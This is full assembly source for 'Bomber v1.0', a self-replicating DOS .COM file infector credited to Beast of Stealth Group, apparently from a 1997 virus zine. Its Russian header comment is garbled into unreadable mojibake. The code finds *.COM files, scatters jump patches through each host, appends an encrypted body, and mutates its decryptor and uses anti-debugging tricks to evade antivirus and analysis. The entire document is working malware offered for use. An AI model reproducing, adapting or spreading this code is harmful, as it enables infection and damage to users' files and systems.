COMMENT * 旼컴컴컴컴컴컴컴컫컴쩡컴컴컴컫컴컴컴컴컴컴컴컴컴컴컴컴컴컴컫컴컴컴컴컴컴컴컴커 쿔NFECTED MOSCOW �#1� JAN'97 �(C)STEALTH Group MoscoW & Co � one@redline.ru � 읕컴컴컴컴컴컴컴컨컴좔컴컴컴컨컴컴컴컴컴컴컴컴컴컴컴컴컴컴컨컴컴컴컴컴컴컴컴켸 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컫컴컴컴컴컴컴컴컴컴컴컴컴� � 궓說� � �汀췅Ж � �젵ゥ � (C) Beast/SGBishkek � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컨컴컴컴컴컴컴컴컴컴컴컴컴� 앪� ��汀� � Beast. 뫅╉ 쭬 XT'沃�� � 收Лⓩ� 頌昔� 귗ぎ席ゥ��硫 캙稅젷�� ˘が젶 Мギㄾ� . . . 뿨�좐 ˘奭ⓤ� Web'�㏇え� 細�循� OneHalf. 띲 �젹 첓� ㏇ⅲ쩆 � � � � � �캙說硫 � ㏇� �젶�� �昔曄�. 꽡蜈� ㄾ 獸． 첓� (O)ne(H)alf (OH) �汀췅 � �젵ゥ �飡젪ワβ � ㅳ쵟� � ��曄с 췅� □졻 �젶�� �� 材젰� ¡� � 췅칷�젷 �ⅰ�レ嵬� �昔｀젹ゃ �� 愼�ㅿ芋� 쩆ゥ� C-virus. 뮔� ¡� 歲� 쵟쳽� 栒��쥯�좑 �昔짛 쭬�젲젰� ㏇� com � ㄸ誓も�黍� � �졹えㅻ쥯β �� �º 10 �汀�� �� 6 줎⒱ 貰飡�玎�� �� Jump'��. 뤲��- 쪊뱪� α筍.ㄻ� 獸． 譽�� �㎚��ⓥ� ぎエ曄飡¡ �汀�� 췅ㄾ ��Д�汀� HP (貰む좈���� �� How Patch) 췅 ┘쳽�М� 葉笹�. 꽞� ¡飡젺�˙��⑨ � 쭬ㄽⓩ� ˘�� α筍 �젩エ�� ���▼�ㄸ쵟� ㄻ� ¡飡젺�˙��⑨. 궙� ⅴ 兒席졻: 뫊ι���� 꽞Þ췅 뜝㎛좂���� 0 1w 뙠飡� ＄� 췅�� 쭬�쳽�� (췅 ㄸ稅�. 끷エ � 캙э殊,獸 +100h) 2 6b 뮔 �젹좑 쭬캙��, � 獸嶺ⅴ �黍（췅レ�瑜 줎⒱� 볚�젺젪エ쥯⒱� HP � �젳僧�音 �誓ㄵ쳽� � 貰´栒� �� 10 ㄾ 15 �� ��Лⓥ� ＋젪��� ��젪Œ� 첓┐좑 쭬�쳽�� 循ⅰ濕� 10h 줎⒱ "葉飡音" ˛좂젷� � ぎ�璵. 앪� � 獸с, 譽�� �ⅰ維� 쭬�젲젰щ� �젵ギ� ㄻÞ�� � 500 줎⒱ � HP = 20. 끷エ 十ゥ 쵟ゥ�履�． �젳Д��, 獸 ˘黍� М┘� 쭬與かⓥ藺� �.�. �� 췅ħβ 聲�‘ㄽ�． Д飡� � �젵ゥ. 꽑 � 첓┐좑 쭬�쳽�� 循ⅰ濕� 6 줎⒱. 룼첓 將� エ夭 ´褻⑨ 0.9 �젶 첓� �� ㄵ쳽β �①ⅲ� ‘レ蜈 Jump'�, �� Þ�＄� ¸α獸 jump'� ⓤ��レ㎯β碎 RET, 將� �笹�┃畑� ┬㎛� FUCK'젹, �� �� �曄��. 깲�젺殊昔쥯�� 譽� 4 - 硫 줎⒱ 將� inc si. �.�. 췅- �젷� �昔（ ��エМ雪��! 꽞� 獸． 譽�� �㎚��ⓥ� ぎエ曄飡¡ 줎⒱ � 쭬�쳽收 ���▼�- ㄸМ ��Д�汀� ぎ�飡젺栒 HB (How Bytes) � ��Д�汀� � ぎ�璵 ˘�� ぎ�-¡ 誓㎘舒�- 說�щ� 줎⒱. 뜝�젷� 拾� ��ギ┘��. 떏� 循��乘碎 ．召�쩆 VirMaker'� ! 맆� ▲ㅳ αエ Л� 貰�↓졻 � 첓え� エ‘ 줎짛� � 將�� ˘誓. 뤲�芋 �昔耀�⑨ 譽� �洙�Д�殊昔쥯��� エ夭 �α�젺쩆設�瑜 �졹殊 ˘��, �젶 첓� com-��誓㎤ㄵ�栒� 拾� 5-殊 か졹�Ø� �②呻. � 收 ぎс 췅ㄾ ��ß呻 將�. 뮔� ┘ ℓα� ⓤ��レ㎜쥯쳽刷 �昔- 璵ㅳ�� 鼇菴�˚� �졹殊 �젵쳽 �� ADinf v1.5. 겓젫�ㄾ涉 ぎ獸昔� WEB Мョⓥ 첓� 캙�- 殊쭬�. 앪�� ˘說� �貰‥�� �� �졹��졹循젺纏碎. �.�. 琠ワβ碎 エ夭 ㄵМ�飡�졿�ⅸ ��¡． (㏇� ��¡� 將� 若昔溫 쭬〓獸� 飡졷��) 召�貰줎 쭬�젲���� �젵ギ�. 뫇�昔 ┐ⓥ� 쭬�젲���� EXE �黍（췅レ�臾 召�貰‘�. � �� �↓ⅸ �졷젶收黍飡Ø� 將� �曄誓�- ��� ��エМ雪�硫 ˘說�. P.S. 끷エ �� ˛�歲收 醒閃ⅶ�音 �㎚����Ł � �昔璵ㅳ說 쭬�젲��⑨, 獸 �� Д�箭收 � ぎ�ⓣ젵� � �昔璵ㅳ誓 쭬�젲��⑨. P.S. 뤲瀞收 �젩エ軟 ¡飡젺�˙���� 鼇菴襲收 ��エМ雪ⓥ� 嵩ⓣ젵收 � ㅰ膝�� Д飡� ˘��, �� �� 쩆쥯β� ⅴ 젺殊˘說說Ø젹 ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! * .MODEL SMALL .CODE ORG 100H BomberCommander: JMP VIRR NOP DB 'F' nop nop nop nop nop nop nop VIRR: CALL $+3 POP BP SUB BP,3 LEA BX,[BP+NXT_2-VIRR] ; 룼�淫첓 젺殊笠黍飡Ø� MOV BYTE PTR CS:[0FBH],9AH MOV WORD PTR CS:[0FCH],BX MOV WORD PTR CS:[0FEH],DS mov ax,0fbh push ax ret NXT_2: ;------------------------------------------------ ; 궙飡젺�˙���� �젵쳽 ;------------------------------------------------ LEA SI,[BP+C1_P+2-VIRR] ; SI=丞젳猶젰� 췅 �黍（췅レ�瑜 ; 줎⒱� ㄻ� ��舒�． patch MOV DI,[SI-2] ; DI=offset first patch - 100h MOV CX,HP ; CX=How Patch RESTOR_LOOP: ADD DI,100H ; DI=offset patch ; MOVSW ; Repair patch ; MOVSW PUSH CX MOV CX,HB REP MOVSB POP CX MOV DI,[SI] ; DI=offset next patch-100h INC SI INC SI LOOP RESTOR_LOOP ; Repair next PATCH mov ah,2FH INT 21H PUSH BX MOV AH,1AH LEA DX,[BP+BUFFER-VIRR] INT 21H MOV AH,4EH MOV CX,100111B LEA DX,[BP+FM-VIRR] NEXT_FILE: INT 21H JNC INFECTION MOV AH,1AH POP DX INT 21H XOR AX,AX PUSH AX AX AX AX AX AX AX CS ; ¡飡젺젪エ쥯⒱� 醒，��狩瑜 POP ES SI DI BP AX BX CX DX ; 誓（飡贍 ! ! ! ! RETF INFECTION: CALL INFECT ; 뇿�젳ⓥ� �젵� MOV AH,4FH LEA DX,[BP+BUFFER-VIRR] JMP SHORT NEXT_FILE FM DB '*.COM',0 ;--------------------------------------------------------- ; 뇿�젲���� ;--------------------------------------------------------- INFECT: LEA DX,[BP+BUFFER-VIRR+1EH] MOV AX,3D00H INT 21H JNC $+3 RET PUSH AX AX POP BX MOV AX,1220H INT 2FH MOV BL,BYTE PTR ES:[DI] MOV AX,1216H INT 2FH POP BX MOV BYTE PTR ES:[DI+2],2 MOV AX,ES:[DI+17] CMP AX,60000 JA CLOSE CMP AX,2000 JB CLOSE MOV AH,3FH MOV CX,4 LEA DX,[BP+C1-VIRR] INT 21H CMP BYTE PTR CS:[BP+C1-VIRR],'M' JE CLOSE CMP BYTE PTR CS:[BP+C1-VIRR+3],'F' JE CLOSE CALL CONT_INFECT ; 뤲�ㄾウⓥ� 쭬�젲���� CALL CRYPT_ALL_FILE CLOSE: MOV AH,3EH INT 21H RET db 10,13 db '(c) Copyright by Beast.',10,13 db '(c) Stealth Group Bishkek.',10,13 db '(c) Stealth Group World Wide.',10,13 CONT_INFECT: MOV CX,HP LEA SI,[BP+C1_P-VIRR] MOV AX,DS:[DI+17] CALL C_B ; 몿��ⓣⓣ�쥯筍 HP Д飡 ㄻ� 쭬�쳽獸� CALL DO_IT_INFECT ; 쭬칷�졻藺� � �젵� ¸α收 � patch'젹� RET DO_IT_INFECT: CALL JMP_WRITE ; 뇿�ⓤ졻� 쭬�쳽瞬 CALL WRITE_BODY ; 뇿�ⓤ졻� 收ギ RET copyright db 'Infection by Beast. v0.91',10,13 ; 뜢 Д�汀� ! ! ! db 'Stealth Group World Wide.',0 ; 뜢 Д�汀� ! ! ! WRITE_BODY: MOV AX,ES:[DI+17] MOV ES:[DI+21],AX MOV AH,40H MOV DX,BP MOV CX,VL INT 21H RET JMP_WRITE: MOV CX,HP LEA SI,[BP+C1_P-VIRR] ; 뇿�ⓤ잂� � 收ギ �黍（췅レ�瑜 JMP_LOOP: MOV AX,[SI] ; 걽⒱� � 쭬�ⓤ잂� � �젵� 쭬�쳽- MOV ES:[DI+21],AX ; 栒 INC SI INC SI CALL GET_COMMAND ; 뫌魚젺ⓥ� ��. 줎⒱� MOV ES:[DI+21],AX MOV AX,[SI+HB] ; Make jmp PUSH AX IN AL,40H TEST AL,1 POP AX JZ IT_JMP_C XCHG AL,AH INC AL XCHG AL,AH MOV CS:[RETC-VIRR+1+BP],AX PUSH AX CX DX MOV AH,40H LEA DX,[BP+RETC-VIRR] MOV CX,HB INT 21H POP DX CX AX JMP SHORT CONT_SET_JMP IT_JMP_C: SUB AX,[SI-2] SUB AX,3 MOV CS:[BP+JMPC-VIRR+1],AX CALL PUT_COMMAND ; 뇿黍貰쥯筍 쭬�쳽栒 CONT_SET_JMP: ADD SI,HB LOOP JMP_LOOP ; 뫉ⅳ莘蟯� RET JMPC DB 0E9H DW ? DB 'F' db 'Hi' RETC LABEL BYTE MOV AX,0 DB 'F' PUSH AX RET PUT_COMMAND: PUSH AX CX DX LEA DX,[BP+JMPC-VIRR] MOV AH,40H JMP SHORT FIN_DOS_INT GET_COMMAND: PUSH AX CX DX MOV AH,3FH MOV DX,SI FIN_DOS_INT: MOV CX,HB INT 21H POP DX CX AX RET ;--------------------------------------------------------- ; 깷��黍昔쥯��� 쭬�쳽� � �拾��� Д飡� � �昔´夕� ⓨ ;--------------------------------------------------------- C_B: MOV WORD PTR [SI],0 ; �ㅰα 1-�� 쭬�쳽瞬 ㏇ⅲ쩆 0 ADD SI,HB+2 DEC CX SUB AX,10H ; AX=file len-10h 譽�� 쭬�쳽�� ∥�㎦� ; � ぎ�軟 �젵쳽 �� �젮Œ졹� CB_LOOP1: PUSH AX ITS_EQUAL: POP AX PUSH AX MOV AX,ES:[DI+17] ; look prev. comment SUB AX,10h CALL GET_RND ; Get random from 0 to AX CMP AX,[SI-HB-2] ; ax=random JE ITS_EQUAL CALL KAK_COCEDU ; 뤲�´夕� �� 쭬쳽㎤� エ 將� 쭬�쳽�� JC ITS_EQUAL ; 췅 ㅰ膝�� MOV [SI],AX ; Next ADD SI,HB+2 POP AX LOOP CB_LOOP1 MOV AX,ES:[DI+17] ; 룼笹ⅳ�程 HP+1 쭬�쳽�� 將� ˘� MOV [SI],AX ; � 췅若ㄸ恂� �� � ぎ�璵 �젵쳽 RET KAK_COCEDU: PUSH CX AX SI PUSH AX MOV AX,HP SUB AX,CX MOV CX,AX ; dec cx POP AX LEA SI,[BP+C1_P+2+HB-VIRR] COCEDU_LOOP: SUB AX,[SI-HB-2] CMP AX,10H JA $+5 STC JMP SHORT EXIT_COCEDU CMP AX,0FFE0H JB $+5 STC JMP SHORT EXIT_COCEDU ADD AX,[SI-2-HB] ADD SI,2+HB LOOP COCEDU_LOOP CLC EXIT_COCEDU: POP SI AX CX RET GET_RND: PUSH BX CX MOV BX,AX IN AX,40H MOV CX,AX GET_AG: IN AX,40H CMP AX,CX JE GET_AG SUB AX,CX CMP AX,100 JB GET_AG ADD AX,CX NXT: SUB AX,BX ;ROL AX,CL ;add ax,cx CMP AX,BX JAE NXT POP CX BX RET CRYPT_ALL_FILE: CALL MUTATION ; 뇿с殊昔쥯筍 鼇菴��蟯� � �졹鼇菴��蟯� IN AX,40H MOV WORD PTR DS:[WITH_AX+1-VIRR+bp],AX MOV AX,VL-4 MOV DS:[ENCRYPT-VIRR+1+BP],AX MOV AX,VL-3 MOV DS:[EN_JMP+1-VIRR+BP],AX MOV AX,ES:[DI+17] PUSH AX SUB AX,VL-100H MOV WORD PTR DS:[WITH_DI+1-VIRR+BP],AX DEC AH MOV ES:[DI+21],AX mov cx,ax POP AX PUSH AX PUSH CX MOV CX,4 MOV AH,3FH LEA DX,[VIR_BYTES-VIRR+BP] int 21h POP CX POP AX PUSH CX MOV AX,ES:[DI+17] MOV ES:[DI+21],AX MOV CX,EL LEA DX,[ENCRYPT-VIRR+BP] MOV AH,40H int 21h POP AX MOV Es:[DI+21],AX MOV AH,40H MOV CX,4 LEA DX,[EN_JMP-VIRR+BP] int 21h mov cx,vl-4 mov ax,ds:[with_ax-virr+1+BP] ; � AX 笹晨젵��� ㎛좂���� CRYPT_LOOP: CALL READ_BYTE ; �昔葉�졻� 줎⒱ �昔（ LEA SI,[REZ-VIRR+BP] ; � � � � � � � � � � � � � � � SUB BYTE PTR [SI],CH SUB BYTE PTR [SI],CL SUB BYTE PTR [SI],AH SUB BYTE PTR [SI],AL ADD BYTE PTR [SI],CH ADD BYTE PTR [SI],CL ADD BYTE PTR [SI],AH ADD BYTE PTR [SI],AL XOR BYTE PTR [SI],CH XOR BYTE PTR [SI],CL XOR BYTE PTR [SI],AH CRYPT_DATA: XOR BYTE PTR [SI],AL CALL WRITE_BYTE ; �盾ⅶ� 췅쭬� � 쭬�ⓤ� 줎⒱� CRYPT_DATA1: ADD AL,CL ; ADD AL,AH ; ADD AL,AL ; ADD AL,AH ADD AH,CL ; ADD AH,AH ; ADD AH,AL ; ADD AH,AH ; ; XOR AL,AH ; XOR AL,CL ; XOR AL,CH ; ; XOR AH,AL ; XOR AH,CL ; XOR AH,CH ; ; ROL AL,CL ; ROL AH,CL ; XCHG AH,AL ; ROR AH,CL ; ROR AL,CL ; LOOP CRYPT_LOOP RET ;--------------------------------------------------- ; 맆訟ⓧ昔�蟯� �젵쳽 ;--------------------------------------------------- ENCRYPT: MOV CX,0 CALL $+3 POP SI SUB SI,6 ;------------------------------------------------------------------------------- ; ��殊-笠黍飡Ø� ��誓쩆筍 承�젪ゥ��� Д洙� NXT_C � 쭬�ⓨ�呻� � 飡ⅹ CS � 100h ;------------------------------------------------------------------------------- LEA BX,[SI+NXT_C-ENCRYPT] MOV BYTE PTR CS:[0FBH],9AH ; Far call MOV WORD PTR CS:[0FCH],BX MOV WORD PTR CS:[0FEH],DS mov ax,0fbh push ax ret NXT_C: ADD SI,VIR_BYTES-ENCRYPT WITH_DI: MOV DI,100H POP BP PUSH DI MOVSW MOVSW ; MOV DI,104H WITH_AX: MOV AX,0 PUSH AX JMP OUT_COPY DB '[Bomber v1.0] by Beast. Stealth Group World Wide.' OUT_COPY: ;------------------------------------------------------------------------------- ; ��殊 - 笠黍飡Ø� ;------------------------------------------------------------------------------- SUB AX,AX mov es,ax mov es:[0],ax cmp es:[0],ax je $+4 int 20h ;------------------------------------------------------------------------------- ; ��殊 - 笠黍飡Ø� ;------------------------------------------------------------------------------- mov ax,0e0e0h int 21h or al,0 jz $+4 int 20h ;------------------------------------------------------------------------------- ; ��殊 - 笠黍飡Ø� ;------------------------------------------------------------------------------- in al,40h or al,al jnz $+4 int 20h POP AX push cs pop es ENCRYPT_LOOP: ; � � � � � � � � � � � � � � � DECRYPT_DATA: XOR BYTE PTR [DI],AL XOR BYTE PTR [DI],AH XOR BYTE PTR [DI],CL XOR BYTE PTR [DI],CH SUB BYTE PTR [DI],AL SUB BYTE PTR [DI],AH SUB BYTE PTR [DI],CL SUB BYTE PTR [DI],CH ADD BYTE PTR [DI],AL ADD BYTE PTR [DI],AH ADD BYTE PTR [DI],CL ADD BYTE PTR [DI],CH DECRYPT_DATA1: ADD AL,CL ; ADD AL,AH ; ADD AL,AL ; ADD AL,AH ; ADD AH,CL ; ADD AH,AH ; ADD AH,AL ; ADD AH,AH ; ; XOR AL,AH ; XOR AL,CL ; XOR AL,CH ; ; XOR AH,AL ; XOR AH,CL ; XOR AH,CH ; ; ROL AL,CL ; ROL AH,CL ; XCHG AH,AL ; ROR AH,CL ; ROR AL,CL INC DI LOOP ENCRYPT_LOOP RETF VIR_BYTES DB 90h,90h,90H,0C3h EL EQU $-ENCRYPT EN_JMP: DB 0E9h DW ? DB 'F' REZ DB ? READ_BYTE: push ax cx ; ⓤ��レ㎯β碎 � 鼇菴�˚� MOV AH,3FH JMP SHORT FIN_DOS_OP WRITE_BYTE: PUSH AX CX MOV AH,40H DEC WORD PTR ES:[DI+21] FIN_DOS_OP: LEA DX,[REZ-VIRR+BP] MOV CX,1 int 21h pop cx ax RET MUTATION: PUSH SI DI BX MOV WORD PTR DS:[UP_RND-VIRR+BP],11 MOV WORD PTR DS:[DOWN_RND-VIRR+BP],0 LEA SI,[DECRYPT_DATA-VIRR+BP] MOV DI,SI CALL GET_RND2 ; 룼ャ葉筍 笹晨젵��� 葉笹� SHL BX,1 PUSH BX ADD SI,BX CALL GET_RND2 ; � ��ャ葉筍 ™�昔� � � 貰��- SHL BX,1 ; ´恂手Ŀ � �º� ぎ쵟�ㅻ � 鼇菴��鼇ぅ PUSH BX ; � �졹鼇菴��蟯ぅ ADD DI,BX CALL XCHG_SI_DI LEA DI,[CRYPT_DATA-VIRR+BP] MOV SI,DI ;CRYPT_DATA-VIRR-2 POP BX SUB DI,BX POP BX SUB SI,BX CALL XCHG_SI_DI POP BX DI SI RET UP_RND DW ? DOWN_RND DW ? GET_RND2: IN AX,40H MOV BX,WORD PTR DS:[UP_RND-VIRR+BP] SUB BX,WORD PTR DS:[DOWN_RND-VIRR+BP] CONT_RND: SUB AX,BX CMP AX,BX JA CONT_RND MOV BX,AX RET XCHG_SI_DI: PUSH WORD PTR DS:[DI] ; 룼ㄾ〃� ぎ쵟�ㅻ PUSH WORD PTR DS:[SI] ; xchg word ptr [si],word ptr [di] POP WORD PTR DS:[DI] POP WORD PTR DS:[SI] RET HP EQU 10 ; How patch HB EQU 6 C1_P DW 0 C1 DB 0C3h,90h,90h,90H,90H db hp-1 dup (0,0,90h,90h,90h,0c3h,90H,90H) DW 0 VL EQU $-VIRR BUFFER: END BomberCommander